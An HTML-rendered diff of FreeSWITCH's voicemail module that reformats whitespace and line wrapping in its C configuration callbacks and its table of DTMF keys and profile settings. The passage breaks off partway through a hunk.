</span><span class="cx">                 }
</span><span class="lines">@@ -398,24 +395,24 @@
</span><span class="cx">                         profile-&gt;notify_email_body = email_body;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t vm_config_web_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t vm_config_web_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                          switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        vm_profile_t *profile = (vm_profile_t*)item-&gt;data;
-        
</del><ins>+        vm_profile_t *profile = (vm_profile_t *) item-&gt;data;
+
</ins><span class="cx">         switch_assert(profile);
</span><del>-                
-        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
-        {
</del><ins>+
+        if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) {
</ins><span class="cx">                 char *web_head = NULL, *web_tail = NULL;
</span><span class="cx">                 if (newvalue) {
</span><span class="cx">                         switch_stream_handle_t stream;
</span><span class="cx">                         SWITCH_STANDARD_STREAM(stream);
</span><del>-                        if (switch_stream_write_file_contents(&amp;stream, newvalue) == SWITCH_STATUS_SUCCESS) {                
-                                web_head = switch_core_strdup(profile-&gt;        pool, stream.data);
</del><ins>+                        if (switch_stream_write_file_contents(&amp;stream, newvalue) == SWITCH_STATUS_SUCCESS) {
+                                web_head = switch_core_strdup(profile-&gt;pool, stream.data);
</ins><span class="cx"> 
</span><span class="cx">                                 if ((web_tail = strstr(web_head, &quot;&lt;!break&gt;\n&quot;))) {
</span><span class="cx">                                         *web_tail = '\0';
</span><span class="lines">@@ -425,32 +422,33 @@
</span><span class="cx">                                         web_tail += 10;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                
</del><ins>+
</ins><span class="cx">                         free(stream.data);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (web_head) {
</span><del>-                        profile-&gt;web_head= web_head;
</del><ins>+                        profile-&gt;web_head = web_head;
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (web_tail) {
</span><span class="cx">                         profile-&gt;web_tail = web_tail;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t vm_config_validate_samplerate(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t vm_config_validate_samplerate(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                         switch_bool_t changed)
</ins><span class="cx"> {
</span><span class="cx">         if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) &amp;&amp; newvalue) {
</span><del>-                int val = *(int*)item-&gt;ptr;
</del><ins>+                int val = *(int *) item-&gt;ptr;
</ins><span class="cx">                 if (val != 0 &amp;&amp; !switch_is_valid_rate(val)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid samplerate %s\n&quot;, newvalue);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -460,154 +458,148 @@
</span><span class="cx"> vm_profile_t *profile_set_config(vm_profile_t *profile)
</span><span class="cx"> {
</span><span class="cx">         int i = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         profile-&gt;config_str_pool.pool = profile-&gt;pool;
</span><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        SWITCH _CONFIG_SET_ITEM(item, &quot;key&quot;, type, flags, 
-                pointer, default, options, help_syntax, help_description)
-        */
-        
-        /* DTMFs */        
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;terminator-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;terminator_key, &quot;#&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;play-new-messages-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;play_new_messages_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;play-saved-messages-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;play_saved_messages_key, &quot;2&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;login-keys&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;login_keys, &quot;0&quot;, &amp;config_login_keys, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;main-menu-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;main_menu_key, &quot;0&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;skip-greet-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;skip_greet_key, &quot;#&quot;, &amp;config_dtmf, NULL, NULL);                
</del><ins>+           SWITCH _CONFIG_SET_ITEM(item, &quot;key&quot;, type, flags, 
+           pointer, default, options, help_syntax, help_description)
+         */
+
+        /* DTMFs */
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;terminator-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;terminator_key, &quot;#&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;play-new-messages-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;play_new_messages_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;play-saved-messages-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;play_saved_messages_key, &quot;2&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;login-keys&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;login_keys, &quot;0&quot;, &amp;config_login_keys, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;main-menu-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;main_menu_key, &quot;0&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;skip-greet-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;skip_greet_key, &quot;#&quot;, &amp;config_dtmf, NULL, NULL);
</ins><span class="cx">         SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;skip-info-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</span><del>-                &amp;profile-&gt;skip_info_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;config-menu-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;config_menu_key, &quot;5&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-greeting-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;record_greeting_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;choose-greeting-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;choose_greeting_key, &quot;2&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-name-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;record_name_key, &quot;3&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;change-pass-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;change_pass_key, &quot;6&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;record_file_key, &quot;3&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;listen-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;listen_file_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;save-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;save_file_key, &quot;2&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;delete-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;delete_file_key, &quot;7&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;undelete-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;undelete_file_key, &quot;8&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;email_key, &quot;4&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;callback-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;callback_key, &quot;5&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;pause-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;pause_key, &quot;0&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;restart-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;restart_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;ff-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;ff_key, &quot;6&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;rew-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;rew_key, &quot;4&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;previous-message-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &amp;profile-&gt;prev_msg_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;next-message-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &amp;profile-&gt;next_msg_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;urgent-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;urgent_key, &quot;*&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;operator-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;operator_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;vmain-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;vmain_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;vmain-extension&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;vmain_ext, &quot;&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;forward-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;forward_key, &quot;8&quot;, &amp;config_dtmf, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;prepend-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;prepend_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
</del><ins>+                                                   &amp;profile-&gt;skip_info_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;config-menu-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;config_menu_key, &quot;5&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-greeting-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;record_greeting_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;choose-greeting-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;choose_greeting_key, &quot;2&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-name-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;record_name_key, &quot;3&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;change-pass-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;change_pass_key, &quot;6&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;record_file_key, &quot;3&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;listen-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;listen_file_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;save-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;save_file_key, &quot;2&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;delete-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;delete_file_key, &quot;7&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;undelete-file-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;undelete_file_key, &quot;8&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;profile-&gt;email_key, &quot;4&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;callback-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;callback_key, &quot;5&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;pause-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;profile-&gt;pause_key, &quot;0&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;restart-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;restart_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;ff-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;profile-&gt;ff_key, &quot;6&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;rew-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;profile-&gt;rew_key, &quot;4&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;previous-message-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;prev_msg_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;next-message-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;next_msg_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;urgent-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;urgent_key, &quot;*&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;operator-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;operator_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;vmain-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &amp;profile-&gt;vmain_key, &quot;&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;vmain-extension&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;vmain_ext, &quot;&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;forward-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;forward_key, &quot;8&quot;, &amp;config_dtmf, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;prepend-key&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;prepend_key, &quot;1&quot;, &amp;config_dtmf, NULL, NULL);
</ins><span class="cx"> 
</span><span class="cx">         /* Other settings */
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;file-extension&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;file_ext, &quot;wav&quot;, &amp;config_file_ext, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-title&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;record_title, &quot;FreeSWITCH Voicemail&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-comment&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;record_comment, &quot;FreeSWITCH Voicemail&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-copyright&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;record_copyright, &quot;http://www.freeswitch.org&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;operator-extension&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;operator_ext, &quot;&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;file-extension&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;file_ext, &quot;wav&quot;, &amp;config_file_ext, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-title&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;record_title, &quot;FreeSWITCH Voicemail&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-comment&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;record_comment, &quot;FreeSWITCH Voicemail&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-copyright&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;record_copyright, &quot;http://www.freeswitch.org&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;operator-extension&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;operator_ext, &quot;&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
</ins><span class="cx"> 
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;tone-spec&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;tone_spec, &quot;%(1000, 0, 640)&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;storage-dir&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;storage_dir, &quot;&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;callback-dialplan&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;callback_dialplan, &quot;XML&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;callback-context&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;callback_context, &quot;default&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
-                
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;notify-email-body&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;notify_email_body, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;notify-email-headers&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;notify_email_headers, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;tone-spec&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;tone_spec, &quot;%(1000, 0, 640)&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;storage-dir&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;storage_dir, &quot;&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;callback-dialplan&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;callback_dialplan, &quot;XML&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;callback-context&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;callback_context, &quot;default&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
</ins><span class="cx"> 
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;play-date-announcement&quot;, SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;play_date_announcement, VM_DATE_FIRST, &amp;config_play_date_announcement, NULL, NULL);
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;notify-email-body&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;notify_email_body, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;notify-email-headers&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;notify_email_headers, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
</ins><span class="cx"> 
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;convert-cmd&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;play-date-announcement&quot;, SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;play_date_announcement, VM_DATE_FIRST, &amp;config_play_date_announcement, NULL, NULL);
+
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;convert-cmd&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</ins><span class="cx">                                                    &amp;profile-&gt;convert_cmd, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;convert-ext&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;convert-ext&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</ins><span class="cx">                                                    &amp;profile-&gt;convert_ext, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
</span><span class="cx"> 
</span><del>-        
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;digit-timeout&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;digit_timeout, 10000, &amp;config_int_digit_timeout, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;max-login-attempts&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;max_login_attempts, 3, &amp;config_int_max_logins, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;min-record-len&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;min_record_len, 3, &amp;config_int_0_10000, &quot;seconds&quot;, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;max-record-len&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;max_record_len, 300, &amp;config_int_0_1000, &quot;seconds&quot;, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;max-retries&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;max_retries, 3, &amp;config_int_ht_0, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-silence-threshold&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;record_threshold, 200, &amp;config_int_0_10000, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-silence-hits&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
